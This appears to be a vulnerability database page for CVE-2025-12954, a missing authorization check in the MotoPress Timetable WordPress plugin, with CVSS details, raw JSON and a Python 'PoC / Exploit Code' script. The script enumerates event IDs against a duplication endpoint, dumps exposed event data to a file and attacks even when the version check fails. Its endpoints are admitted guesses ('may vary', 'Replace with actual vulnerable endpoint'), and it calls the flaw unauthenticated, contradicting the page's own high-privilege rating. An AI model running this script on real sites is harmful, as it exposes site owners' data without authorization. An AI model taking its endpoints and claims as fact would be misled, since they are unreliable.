Security Vulnerability Report
中文
CVE-2025-12954 CVSS 2.7 LOW

CVE-2025-12954

Published: 2025-12-03 06:15:47
Last Modified: 2026-04-15 00:35:42

Description

The Timetable and Event Schedule by MotoPress WordPress plugin before 2.4.16 does not verify a user has access to a specific event when duplicating, leading to arbitrary event disclosure when to users with a role as low as Contributor.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Timetable and Event Schedule by MotoPress < 2.4.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-12954 PoC - MotoPress Event Schedule Event Disclosure # Description: Unauthenticated/Contributor role users can disclose arbitrary events # via the duplication functionality due to missing access control verification import requests import json import sys TARGET_URL = "https://target-site.com" # Replace with target WordPress site WORDPRESS_API = f"{TARGET_URL}/wp-json/motopress-timetable/v2" def exploit_cve_2025_12954(): """ Exploit for CVE-2025-12954: Event disclosure via missing authorization check in MotoPress Timetable plugin event duplication functionality. The plugin fails to verify if the current user has access to a specific event before allowing duplication, leading to arbitrary event disclosure. """ # Step 1: Authenticate with Contributor-level credentials # In a real attack scenario, obtain valid WordPress credentials # with at least Contributor role # Step 2: Enumerate event IDs (typically sequential integers) # Try event IDs from 1 to 100 print("[*] CVE-2025-12954 PoC - Event Disclosure Attack") print("[*] Target:", TARGET_URL) print("[*] Attempting to retrieve events via duplication endpoint...\n") # Note: The actual API endpoint may vary # Common patterns for MotoPress plugin REST endpoints: # /wp-json/motopress-timetable/v1/events # /wp-json/motopress-timetable/v2/events # /wp-json/wp/v2/tmev-events headers = { "Content-Type": "application/json", "X-WP-Nonce": "<obtain-nonce-from-page-source>" # Requires valid nonce } exposed_events = [] for event_id in range(1, 101): # Attempt to duplicate/access event with ID = event_id # This will expose event details if the vulnerability exists payload = { "event_id": event_id, "action": "duplicate" } try: # Replace with actual vulnerable endpoint endpoint = f"{WORDPRESS_API}/events/duplicate" response = requests.post( endpoint, json=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200: data = response.json() if "event" in data or "data" in data: event_data = data.get("event", data.get("data", {})) exposed_events.append({ "id": event_id, "data": event_data }) print(f"[!] Event ID {event_id} exposed:") print(json.dumps(event_data, indent=2)) except requests.exceptions.RequestException as e: print(f"[-] Error accessing event {event_id}: {e}") continue print(f"\n[*] Attack completed. Total events exposed: {len(exposed_events)}") if exposed_events: # Save results to file with open("cve_2025_12954_results.json", "w") as f: json.dump(exposed_events, f, indent=2) print("[*] Results saved to cve_2025_12954_results.json") return exposed_events def check_vulnerability(): """ Check if target site is vulnerable to CVE-2025-12954 """ print("[*] Checking if target is vulnerable...\n") # Check plugin version via wp-json or meta tag version_url = f"{TARGET_URL}/wp-json/motopress-timetable/v1/info" try: response = requests.get(version_url, timeout=10) if response.status_code == 200: data = response.json() version = data.get("version", "unknown") print(f"[*] Detected MotoPress Timetable version: {version}") # Check if version is vulnerable (< 2.4.16) version_parts = version.split(".") major = int(version_parts[0]) if len(version_parts) > 0 else 0 minor = int(version_parts[1]) if len(version_parts) > 1 else 0 patch = int(version_parts[2]) if len(version_parts) > 2 else 0 if (major < 2) or (major == 2 and minor < 4) or \ (major == 2 and minor == 4 and patch < 16): print("[!] Target is VULNERABLE (version < 2.4.16)") return True else: print("[+] Target appears to be patched (version >= 2.4.16)") return False except Exception as e: print(f"[-] Error checking version: {e}") return None if __name__ == "__main__": print("=" * 60) print("CVE-2025-12954 PoC - MotoPress Timetable Event Disclosure") print("=" * 60 + "\n") # First check if vulnerable is_vulnerable = check_vulnerability() if is_vulnerable: print("\n[*] Proceeding with exploitation...") exploit_cve_2025_12954() elif is_vulnerable is None: print("\n[!] Could not determine vulnerability status") print("[*] Proceeding with exploitation attempt anyway...") exploit_cve_2025_12954() else: print("\n[+] Target is not vulnerable. No action taken.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12954", "sourceIdentifier": "[email protected]", "published": "2025-12-03T06:15:47.260", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Timetable and Event Schedule by MotoPress WordPress plugin before 2.4.16 does not verify a user has access to a specific event when duplicating, leading to arbitrary event disclosure when to users with a role as low as Contributor."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://wpscan.com/vulnerability/f15dd1ca-aa40-4d3b-9625-e3ace744374d/", "source": "[email protected]"}]}}